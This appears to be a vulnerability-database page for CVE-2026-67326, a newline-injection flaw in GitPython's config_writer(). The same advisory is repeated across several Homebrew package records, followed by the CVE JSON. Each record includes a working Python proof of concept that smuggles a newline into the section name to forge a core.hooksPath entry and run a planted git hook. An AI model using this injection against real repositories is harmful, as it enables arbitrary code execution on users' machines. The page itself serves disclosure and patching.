The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.59",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "standardebooks",
"purl": "pkg:brew/standardebooks"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.2"
},
{
"fixed": "3.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.59",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.59"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-standardebooks-CVE-2026-67326",
"modified": "2026-09-20T10:38:41Z",
"published": "2026-08-13T17:41:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-TACH-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:42 – Updated: 2026-09-20 11:04 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "tach",
"purl": "pkg:brew/tach"
},
"ranges": [
{
"events": [
{
"introduced": "0.19.7"
},
{
"fixed": "0.34.1_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-tach-CVE-2026-67326",
"modified": "2026-09-20T11:04:05Z",
"published": "2026-08-13T17:42:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-TARTUFO-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:42 – Updated: 2026-09-20 12:19 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "tartufo",
"purl": "pkg:brew/tartufo"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "6.0.0_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-tartufo-CVE-2026-67326",
"modified": "2026-09-20T12:19:31Z",
"published": "2026-08-13T17:42:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-TERN-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:43 – Updated: 2026-09-20 12:19 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.45",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "tern",
"purl": "pkg:brew/tern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.45",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.45"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-tern-CVE-2026-67326",
"modified": "2026-09-20T12:19:34Z",
"published": "2026-08-13T17:43:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
CVE-2026-67326 (GCVE-0-2026-67326)
Vulnerability from cvelistv5 – Published: 2026-08-01 12:22 – Updated: 2026-08-14 16:50- CWE-20 - Improper Input Validation
| URL | Tags |
|---|---|
| https://github.com/gitpython-developers/GitPython… | vendor-advisory |
| https://www.vulncheck.com/advisories/gitpython-be… | third-party-advisory |
| Vendor | Product | Version | |
|---|---|---|---|
| gitpython-developers | GitPython |
Affected:
0 , < 3.1.50
(semver)
Unaffected: 3.1.50 (semver) cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:* |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-67326",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-04T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-05T03:56:26.301Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:pypi/gitpython",
"product": "GitPython",
"vendor": "gitpython-developers",
"versions": [
{
"lessThan": "3.1.50",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.1.50",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*",
"versionEndExcluding": "3.1.50",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "aslein1413-sys"
}
],
"datePublic": "2026-05-06T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "Improper Input Validation",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T16:50:54.075Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-mv93-w799-cj2w)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"name": "VulnCheck Advisory: GitPython before 3.1.50 Newline Injection via config_writer section",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/gitpython-before-newline-injection-via-config-writer-section"
}
],
"title": "GitPython before 3.1.50 Newline Injection via config_writer section",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-67326",
"datePublished": "2026-08-01T12:22:18.180Z",
"dateReserved": "2026-07-29T13:07:21.184Z",
"dateUpdated": "2026-08-14T16:50:54.075Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.